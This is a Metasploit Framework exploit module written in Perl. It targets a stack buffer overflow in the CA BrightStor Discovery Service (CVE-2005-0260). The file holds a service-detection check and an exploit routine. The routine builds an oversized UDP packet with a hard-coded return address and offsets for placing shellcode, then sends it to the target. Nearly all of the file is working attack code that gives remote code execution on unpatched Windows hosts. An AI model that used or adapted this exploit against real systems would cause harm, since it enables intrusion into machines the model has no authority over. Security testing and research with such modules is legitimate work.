##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cabrightstor_disco;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'CA BrightStor Discovery Service Overflow',
'Version' => '$Revision: 1.9 $',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 41524],
},

'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a vulnerability in the CA BrightStor
Discovery Service. This vulnerability occurs when a large
request is sent to UDP port 41524, triggering a stack
overflow.
}),

'Refs' =>
[
['CVE', '2005-0260'],
['URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities']
],

'Targets' =>
[
['cheyprod.dll 12/12/2003', 0x23808eb0], # call to edi reg
],

'Keys' => ['brightstor'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = 41523;

# Connection #1 should not receive a response
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("META");
my $res = $s->Recv(-1, 1);
$s->Close;

if ($res) {
$self->PrintLine("[*] The discovery returned a strange response: $res");
}

# Connection #2 should receive the hostname of the target
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("hMETA");
my $res = $s->Recv(-1, 1);
$s->Close;

if (! $res) {
$self->PrintLine("[*] The discovery service did not respond to our query");
return $self->CheckCode('Generic');
}

$self->PrintLine("[*] Discovery service active on host: $res");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

my $s = Msf::Socket::Udp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

my $bang = "X" x 4096;

# esp @ 971
# ret @ 968
# edi @ 1046
# end = 4092

substr($bang, 968, 4, pack('V', $target->[1]));
substr($bang, 1046, length($shellcode), $shellcode);

$self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
$s->Send($bang);

return;
}